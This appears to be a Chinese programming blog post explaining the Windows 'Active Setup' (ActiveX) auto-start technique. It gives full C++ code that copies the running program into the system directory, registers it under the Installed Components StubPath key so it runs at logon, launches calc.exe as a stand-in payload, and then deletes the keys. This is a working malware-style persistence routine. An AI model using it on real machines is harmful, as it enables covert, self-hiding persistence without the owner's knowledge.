开机自启动- ActiveX启动

ActiveX启动是在HKEY_LOCAL_MACHINE下的Software\ Microsoft\Active Setup\Installed Components\中注册一条类似{36f8ec70-c29a-11d1-b5c7-0000f8051515}的子建,然后子键中新建StubPath的值项,内容为启动的文件名

#include "stdafx.h"
#include "临时存储Win32项目.h"
#include <process.h>

// 删除原先创建的键值
unsigned __stdcall SecondThreadFunc(void* pArguments)
{

//删除键值
RegDeleteKey(HKEY_CURRENT_USER, L"Software\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}");
RegDeleteKey(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}");

//结束线程
_endthreadex(0);
return 0;
}




// 执行想要执行的程序
void MyCode() {

//运行计算器
WinExec("C:\\windows\\system32\\calc.exe", SW_SHOWDEFAULT);

// 开启线程,删除之前的注册表GUID
HANDLE hThread;
unsigned threadID;
hThread = (HANDLE)_beginthreadex(NULL, 0, &SecondThreadFunc, NULL, 0, &threadID);

// 等待线程结束
WaitForSingleObject(hThread, INFINITE);
// 关闭线程
CloseHandle(hThread);

}

//修改或创建字符串类型的键值
void CreateStringReg(HKEY hRoot, LPCWSTR szSubkey, LPCWSTR ValueName, LPCWSTR Data)
{

// 创建新的注册表键
HKEY hKey;
long lRet = RegCreateKeyEx(hRoot, szSubkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
if (ERROR_SUCCESS != lRet)
{
return;
}

//修改或创建注册表键值
lRet = RegSetValueEx(hKey, ValueName, 0, REG_SZ, (BYTE*)Data, wcslen(Data) * 2);
if (ERROR_SUCCESS != lRet)
{

return;
}

// 释放注册表键句柄
RegCloseKey(hKey);
}




int WINAPI WinMain(
HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance, // handle to previous instance
LPSTR lpCmdLine, // command line
int nCmdShow // show state
)
{

HKEY hKey;
DWORD dwDpt = REG_OPENED_EXISTING_KEY;

// 打开注册表键值
long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}",
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, &hKey);
if (lRet != ERROR_SUCCESS)
{
WCHAR SelfFile[MAX_PATH];
WCHAR SystemPath[MAX_PATH + 20];

//获取系统目录
GetSystemDirectory(SystemPath, sizeof(SystemPath));

//在系统目录与\\activexrun.exe连接
wcscat_s(SystemPath, L"\\activexrun.exe");

//获取当前进程路径
GetModuleFileName(NULL, SelfFile, MAX_PATH);

//ActiveXStart.exe复制到C:\windows\system32目录下
CopyFile(SelfFile, SystemPath, FALSE);

//写注册表
CreateStringReg(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}",
L"StubPath", SystemPath);
return 0;
}

//如果注册表键值存在就运行下面这个函数
MyCode();
return 0;
}
  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

zpweiai

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值